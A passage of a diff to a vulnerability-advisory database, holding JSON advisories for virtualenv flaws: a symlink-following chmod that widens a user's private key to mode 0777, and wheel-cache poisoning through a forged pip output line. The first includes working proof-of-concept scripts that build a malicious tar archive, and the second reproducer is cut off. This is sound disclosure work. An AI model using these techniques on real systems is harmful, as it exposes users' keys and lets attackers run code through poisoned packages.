","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-394h-qwmc-48pf/GHSA-394h-qwmc-48pf.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113718"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3432"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-94"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:24:43Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-43mp-35q3-x3fq.json b/data/PyPI/GHSA-43mp-35q3-x3fq.json index 24b57edafd..1c0483d35b 100644 --- a/data/PyPI/GHSA-43mp-35q3-x3fq.json +++ b/data/PyPI/GHSA-43mp-35q3-x3fq.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-43mp-35q3-x3fq","published":"2026-10-21T21:31:34Z","modified":"2026-10-29T10:55:47.691444554Z","aliases":["BIT-virtualenv-2026-113724","CVE-2026-113724"],"summary":"virtualenv: Deletion recovery can change a symlink target's mode","details":"## Summary\n\nThe deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows\nsymlinks. On an eligible unlink failure this can change permissions outside the destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermission recovery after a filesystem deletion error.\n\n## Attacker-controlled input\n\nA deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have\npermission to change the target mode. This is conditional error handling, not the normal successful unlink path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\n`safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler\ncalls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's\nmode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become\n`0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user;\nroot does not reach this failure path.\n\n## Reproduction and evidence\n\nThe scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to\nthe user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and\n`virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the\nkey's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the\nkey at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup.\n\nThis changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the\nwidened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to\n#3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on\ndeletion failure and handles Windows read-only entries without following reparse points.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared read-only venv tree\n participant V as safe_delete error handler\n participant L as Symlink in venv\n participant K as User's 0400 key\n A->>V: virtualenv venv or --clear venv\n V->>L: unlink fails in 0555 directory\n V->>L: lstat returns link mode 0777\n V->>L: chmod follows symlink\n L->>K: target mode becomes 0777\n V-->>A: retry fails with PermissionError\n Note over K: Other accounts can use new mode if parent paths are traversable\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\nNOBODY = 65534\n\nwork = Path(tempfile.mkdtemp(prefix=\"repro-safe-delete-\"))\nos.chmod(work, 0o755)\nos.chown(work, NOBODY, NOBODY)\n\n# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable\nmake_archive = [sys.executable, \"/tmp/repro.d/make_project_archive.py\"]\nsubprocess.run([*make_archive, work / \"read-only.tar\", \"555\"], check=True)\nsubprocess.run([*make_archive, work / \"writable.tar\", \"755\"], check=True)\nsubprocess.run([\"tar\", \"-tvf\", work / \"read-only.tar\"], check=True)\n\n# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run\nos.setgroups([])\nos.setgid(NOBODY)\nos.setuid(NOBODY)\nos.umask(0o022)\n\n\ndef unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):\n home = work / home_name\n archive = work / archive_name\n key = home / \"keys\" / \"deploy.pem\"\n key.parent.mkdir(parents=True)\n key.write_text(\"PRIVATE KEY\\n\")\n key.chmod(0o400)\n subprocess.run([\"tar\", \"-xf\", archive], cwd=home, check=True)\n\n mode_before = stat.S_IMODE(key.stat().st_mode)\n command = [\"virtualenv\", \"--no-periodic-update\", \"-q\", *options, \"venv\"]\n # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it\n result = subprocess.run(\n command,\n cwd=home / \"proj\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n mode_after = stat.S_IMODE(key.stat().st_mode)\n\n print(f\"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}\")\n print(f\"{label} {key} mode {mode_before:#o} -> {mode_after:#o}\")\n return mode_before, mode_after\n\n\ncontrol = unpack_next_to_key_and_run_virtualenv(\"CONTROL \", \"home-control\", \"writable.tar\")\ndefault = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-default\", \"read-only.tar\")\nclear = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-clear\", \"read-only.tar\", \"--clear\")\n\n# check: the key lives outside the destination; virtualenv has no business changing its mode\nprint(\"BUG\" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else \"OK\")\n```\n\n**`repro.d/make_project_archive.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nimport tarfile\n\narchive_path = sys.argv[1]\npython_folder_mode = int(sys.argv[2], 8)\n\nwith tarfile.open(archive_path, \"w\") as archive:\n python_folder = tarfile.TarInfo(\"proj/venv/bin/python\")\n python_folder.type = tarfile.DIRTYPE\n python_folder.mode = python_folder_mode # without the write bit, unlinking an entry inside it fails with EACCES\n archive.addfile(python_folder)\n\n link = tarfile.TarInfo(\"proj/venv/bin/python/entry\")\n link.type = tarfile.SYMTYPE\n link.linkname = \"../../../../keys/deploy.pem\" # the victim's key, beside the unpacked proj/\n archive.addfile(link)\n```\n\n## Impact\n\nPermission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion\nfailure to occur on a link and the invoking user to have permission to change the target mode.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that\nopens the entry itself without following reparse points and denies replacement until the attribute update finishes. It\nrejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains\noutside this protection.\n\nFix: [PR #3427](https://github.com/pypa/virtualenv/pull/3427).\n\n## Known mitigation\n\nAvoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before\nretrying with broader privileges.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-43mp-35q3-x3fq/GHSA-43mp-35q3-x3fq.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113724"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3427"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-59"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T21:31:34Z","nvd_published_at":"2026-10-20T20:17:19Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-43mp-35q3-x3fq","published":"2026-10-21T21:31:34Z","modified":"2026-11-18T12:10:52.514839260Z","aliases":["BIT-virtualenv-2026-113724","CVE-2026-113724","PYSEC-2026-4383"],"summary":"virtualenv: Deletion recovery can change a symlink target's mode","details":"## Summary\n\nThe deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows\nsymlinks. On an eligible unlink failure this can change permissions outside the destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermission recovery after a filesystem deletion error.\n\n## Attacker-controlled input\n\nA deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have\npermission to change the target mode. This is conditional error handling, not the normal successful unlink path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\n`safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler\ncalls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's\nmode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become\n`0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user;\nroot does not reach this failure path.\n\n## Reproduction and evidence\n\nThe scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to\nthe user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and\n`virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the\nkey's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the\nkey at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup.\n\nThis changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the\nwidened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to\n#3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on\ndeletion failure and handles Windows read-only entries without following reparse points.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared read-only venv tree\n participant V as safe_delete error handler\n participant L as Symlink in venv\n participant K as User's 0400 key\n A->>V: virtualenv venv or --clear venv\n V->>L: unlink fails in 0555 directory\n V->>L: lstat returns link mode 0777\n V->>L: chmod follows symlink\n L->>K: target mode becomes 0777\n V-->>A: retry fails with PermissionError\n Note over K: Other accounts can use new mode if parent paths are traversable\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\nNOBODY = 65534\n\nwork = Path(tempfile.mkdtemp(prefix=\"repro-safe-delete-\"))\nos.chmod(work, 0o755)\nos.chown(work, NOBODY, NOBODY)\n\n# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable\nmake_archive = [sys.executable, \"/tmp/repro.d/make_project_archive.py\"]\nsubprocess.run([*make_archive, work / \"read-only.tar\", \"555\"], check=True)\nsubprocess.run([*make_archive, work / \"writable.tar\", \"755\"], check=True)\nsubprocess.run([\"tar\", \"-tvf\", work / \"read-only.tar\"], check=True)\n\n# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run\nos.setgroups([])\nos.setgid(NOBODY)\nos.setuid(NOBODY)\nos.umask(0o022)\n\n\ndef unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):\n home = work / home_name\n archive = work / archive_name\n key = home / \"keys\" / \"deploy.pem\"\n key.parent.mkdir(parents=True)\n key.write_text(\"PRIVATE KEY\\n\")\n key.chmod(0o400)\n subprocess.run([\"tar\", \"-xf\", archive], cwd=home, check=True)\n\n mode_before = stat.S_IMODE(key.stat().st_mode)\n command = [\"virtualenv\", \"--no-periodic-update\", \"-q\", *options, \"venv\"]\n # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it\n result = subprocess.run(\n command,\n cwd=home / \"proj\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n mode_after = stat.S_IMODE(key.stat().st_mode)\n\n print(f\"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}\")\n print(f\"{label} {key} mode {mode_before:#o} -> {mode_after:#o}\")\n return mode_before, mode_after\n\n\ncontrol = unpack_next_to_key_and_run_virtualenv(\"CONTROL \", \"home-control\", \"writable.tar\")\ndefault = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-default\", \"read-only.tar\")\nclear = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-clear\", \"read-only.tar\", \"--clear\")\n\n# check: the key lives outside the destination; virtualenv has no business changing its mode\nprint(\"BUG\" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else \"OK\")\n```\n\n**`repro.d/make_project_archive.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nimport tarfile\n\narchive_path = sys.argv[1]\npython_folder_mode = int(sys.argv[2], 8)\n\nwith tarfile.open(archive_path, \"w\") as archive:\n python_folder = tarfile.TarInfo(\"proj/venv/bin/python\")\n python_folder.type = tarfile.DIRTYPE\n python_folder.mode = python_folder_mode # without the write bit, unlinking an entry inside it fails with EACCES\n archive.addfile(python_folder)\n\n link = tarfile.TarInfo(\"proj/venv/bin/python/entry\")\n link.type = tarfile.SYMTYPE\n link.linkname = \"../../../../keys/deploy.pem\" # the victim's key, beside the unpacked proj/\n archive.addfile(link)\n```\n\n## Impact\n\nPermission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion\nfailure to occur on a link and the invoking user to have permission to change the target mode.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that\nopens the entry itself without following reparse points and denies replacement until the attribute update finishes. It\nrejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains\noutside this protection.\n\nFix: [PR #3427](https://github.com/pypa/virtualenv/pull/3427).\n\n## Known mitigation\n\nAvoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before\nretrying with broader privileges.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-43mp-35q3-x3fq/GHSA-43mp-35q3-x3fq.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113724"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3427"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-59"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T21:31:34Z","nvd_published_at":"2026-10-20T20:17:19Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-494p-63j8-28p3.json b/data/PyPI/GHSA-494p-63j8-28p3.json index db6d8d622a..eefe12acbc 100644 --- a/data/PyPI/GHSA-494p-63j8-28p3.json +++ b/data/PyPI/GHSA-494p-63j8-28p3.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-494p-63j8-28p3","published":"2026-10-23T22:25:22Z","modified":"2026-10-29T10:55:43.999222952Z","aliases":["BIT-virtualenv-2026-113714","CVE-2026-113714"],"summary":"virtualenv: Downloaded wheel selection and caching precede verification","details":"## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved ` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I->>P: modified wheel and forged Saved line\n P->>C: write modified wheel directly\n P-->>V: stdout names genuine bundled wheel\n V->>V: hash genuine wheel and accept\n V->>C: record modified wheel for reuse\n C->>N: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = 